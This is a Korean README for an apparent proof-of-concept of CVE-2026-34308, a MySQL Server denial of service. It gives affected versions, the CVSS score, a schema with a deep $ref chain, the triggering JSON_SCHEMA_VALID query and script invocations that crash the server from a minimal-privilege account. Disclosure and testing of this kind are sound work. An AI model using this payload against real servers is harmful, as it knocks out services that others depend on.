
# CVE-2026-34308 개념 증명 CVE-2026-34308에 대한 개념 증명(PoC)으로, MySQL Server JSON 구성 요소의 서비스 거부(DoS) 취약점입니다. JSON_SCHEMA_VALID()의 깊은 $ref 체인을 통한 스택 고갈을 시연하여 서버 충돌을 유발합니다. Python PoC 스크립트와 기술 분석을 포함합니다.
공식 공급업체 게시판: Oracle Critical Patch Update Advisory — April 2026.
Oracle MySQL Server의 취약점(구성 요소: Server: JSON).
지원되는 영향을 받는 버전: 8.0.0–8.0.45, 8.4.0–8.4.8, 9.0.0–9.6.0.
이 취약점으로 인해 낮은 권한의 사용자가 MySQL Server를 충돌시킬 수 있습니다.
CVSS 3.1 기본 점수: 6.5(가용성에만 영향)
CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
관찰된 메커니즘: MySQL이 $ref 포인터의 긴 선형 체인을 포함하는 JSON Schema에 대해 JSON_SCHEMA_VALID()를 평가할 때 스키마 컴파일/검증 중 효과적인 깊이 제한 없이 깊은 재귀가 발생하여 스택 고갈로 이어지고, 이로 인해 멈춤(hang) 또는 반복적인 충돌이 발생합니다.
호출 체인(개념적):
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ 내부 JSON 스키마 검증 → 반복적인 $ref 해석
→ 스택 고갈 → 멈춤 / 충돌
이 PoC의 경우 인증된 MySQL 계정이면 충분합니다: *.*에 대해 USAGE 권한만 부여하면 됩니다(MySQL의 최소 권한—연결 능력—SELECT, 테이블 액세스 또는 관리자 역할 없음). 사용자가 세션을 열고 SELECT JSON_SCHEMA_VALID(...)를 실행할 수 있다면 해당 조건을 트리거할 수 있습니다.
poc_schema_dos.py선형 $ref 체인(예: 깊이 1200)을 가진 JSON 스키마를 생성합니다:
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
MySQL로 전송: SELECT JSON_SCHEMA_VALID('<schema>', '"x"');
취약한 빌드를 대상으로 한 테스트에서 이는 약 1초 이내에 서버를 충돌시키는 것으로 관찰되었습니다(정확한 시간은 하드웨어, 빌드 플래그 및 스키마 깊이에 따라 다름).
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
낮은 권한 계정 테스트:
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
그런 다음: python3 poc_schema_dos.py --user test --password password
6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
poc_schema_dos.py: 개념 증명 스크립트README.md: 이 파일